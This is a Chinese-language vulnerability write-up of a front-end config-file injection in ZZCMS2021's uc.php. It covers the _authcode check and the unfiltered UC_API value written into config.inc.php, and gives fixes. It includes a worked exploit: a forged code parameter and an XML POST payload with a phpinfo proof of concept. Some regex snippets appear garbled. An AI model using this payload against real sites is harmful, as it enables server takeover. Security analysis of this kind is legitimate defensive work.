代码审计-zzcms2021前台写shell?
字数 909 2025-08-03 16:47:15
ZZCMS2021 前台写Shell漏洞分析与利用
漏洞概述
ZZCMS2021 存在一个前台写Shell漏洞,攻击者可以通过精心构造的请求在前台直接写入恶意代码到配置文件,从而获取服务器控制权限。该漏洞位于 /3/ucenter_api/api/uc.php 文件中,涉及加密参数处理和配置文件写入操作。
漏洞分析
漏洞位置
- 文件路径:
/3/ucenter_api/api/uc.php - 关键参数:
code(GET参数) - 处理流程:
- 通过GET传参
code - 使用
_authcode函数解密code - 使用
parse_str解析解密后的内容并赋值给$get - 通过
xml_unserialize处理输入内容获取$post
- 通过GET传参
关键函数分析
_authcode 加密/解密函数
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY); // 使用UC_KEY作为默认密钥
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// ...省略部分加密逻辑...
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
漏洞触发点
在updateapps方法中:
$UC_API = $post['UC_API'];
$configfile = preg_replace("/define$'UC_API',\s*'.*?'$;/i", "define('UC_API', '$UC_API');", $configfile);
漏洞利用
利用条件
- 需要知道或能够获取
UC_KEY值 - 能够发送GET和POST请求到目标系统
利用步骤
-
构造加密的code参数:
- 需要包含
time()以通过时间验证 - 使用
UC_KEY进行加密
- 需要包含
-
构造恶意POST数据:
$UC_API = ');phpinfo();//';这将闭合原始定义并注入恶意代码
-
发送请求:
- GET请求包含加密的
code参数 - POST请求包含恶意构造的
UC_API值
- GET请求包含加密的
实际利用示例
- 构造加密的code参数:
// 示例加密代码(需要实际UC_KEY)
$code = _authcode('time='.time(), 'ENCODE', UC_KEY);
- 发送恶意请求:
GET /3/ucenter_api/api/uc.php?code=[加密后的code] HTTP/1.1
Host: target.com
POSTDATA:
<xml>
<UC_API>);phpinfo();//</UC_API>
</xml>
漏洞修复
-
临时修复方案:
- 限制
/3/ucenter_api/api/uc.php的访问权限 - 过滤
$post['UC_API']中的特殊字符
- 限制
-
永久修复方案:
- 修正正则表达式中的空格问题:
preg_replace("/define$'UC_API',\s*'.*?'\s*$;/i", ...) - 对写入内容进行严格过滤和验证
- 更新到官方最新版本
- 修正正则表达式中的空格问题:
注意事项
- 实际利用时需要注意正则表达式匹配问题,原漏洞分析中提到正则缺少空格可能导致匹配失败
- 该漏洞需要知道
UC_KEY才能构造有效的加密参数 - 写入的配置文件通常为
config.inc.php,需要确认具体路径
总结
该漏洞通过精心构造的加密参数和未过滤的输入,实现了前台写入恶意代码的能力。虽然实际利用存在一定限制(如需要UC_KEY和正则匹配问题),但仍是一个高危漏洞,应及时修复。